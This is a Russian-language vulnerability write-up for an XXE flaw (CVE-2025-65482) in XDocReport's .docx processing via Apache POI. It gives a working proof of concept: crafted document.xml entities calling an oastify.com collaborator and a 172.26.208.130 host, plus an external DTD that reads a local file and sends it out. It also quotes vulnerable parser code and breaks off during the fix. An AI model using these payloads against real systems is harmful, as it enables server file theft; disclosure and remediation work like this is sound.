
CVE-2025-65482 (XXE)
Внедрение внешних XML-сущностей
Обзор уязвимости
Влияние на бизнес
Веб-сайт управления персоналом позволяет пользователям загружать файлы документов .docx в систему. В процессе обработки приложение использует библиотеку fr.opensagres.xdocreport.document.docx, содержащую XXE-уязвимость при передаче файла .docx через SAXParser.
fr.opensagres.xdocreport.template.docx — XDocReport (версии =< 2.0.3)
Причина в использовании Apache POI
fr.opensagres.xdocreport.document.docx
└── fr.opensagres.xdocreport.document
└── fr.opensagres.xdocreport.template
└── fr.opensagres.xdocreport.converter
└── org.apache.poi.xwpf.converter.core
├── org.apache.poi:poi
└── org.apache.poi:poi-ooxml
То есть Apache POI находится глубоко в модуле:
org.apache.poi.xwpf.converter.core
Ошибка возникает потому, что XDocReport (в модуле fr.opensagres.xdocreport.document.docx) использует Apache POI для чтения файлов .docx, а POI, в свою очередь, использует SAXParser по умолчанию из Java без отключения функций, разрешающих обработку DTD и внешних сущностей. → Это позволяет злоумышленнику вставить DOCTYPE с сущностью, ссылающейся вовне (SYSTEM "http://...") или на внутренний файл (file:///...) → приводит к XXE.
XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)
unzip ../vcspentest.docx
nano word/document.xml
Изменить с помощью outband-полезной нагрузки для Collabrator:
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>
zip -r ../poc.docx *
172.26.208.130. Содержимое файла vcspentest.dtd следующее:<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;
Изменить файл word/document.xml внутри .docx на следующее содержимое для загрузки внешнего dtd с машины wsl:
<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>
.docx и загрузить на сервер для обработкиD:/vcspentest.txt с целевого сервераВ коде или на уровне конфигурации XML-парсера необходимо отключить все функции, связанные с DTD и внешними сущностями.
Исправление аналогично этому коду:
@RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
public String SAXParserVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
return "SAXParser xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
@RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
public String SAXParserSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);